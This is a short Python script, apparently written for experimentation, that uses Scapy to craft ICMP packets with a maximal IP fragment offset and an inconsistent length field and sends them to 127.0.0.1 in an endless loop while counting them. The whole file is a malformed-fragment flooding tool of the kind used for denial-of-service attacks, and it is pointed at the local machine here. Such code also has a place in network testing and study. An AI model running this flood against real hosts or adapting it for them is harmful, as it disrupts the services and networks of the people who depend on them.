from scapy.all import *

def ip_fragment(packet):
    sendp(packet)

eth = Ether()
ip  = IP()
ip.dst = '127.0.0.1'
ip.frag = 0x1FFF
ip.len = 100
icmp = ICMP()

m = 0

while True:
    packet = eth/ip/icmp
    ip_fragment(packet)
    print('Sending IP Fragment Packet To %s '%ip.dst)
    m = m + 1
    print (m)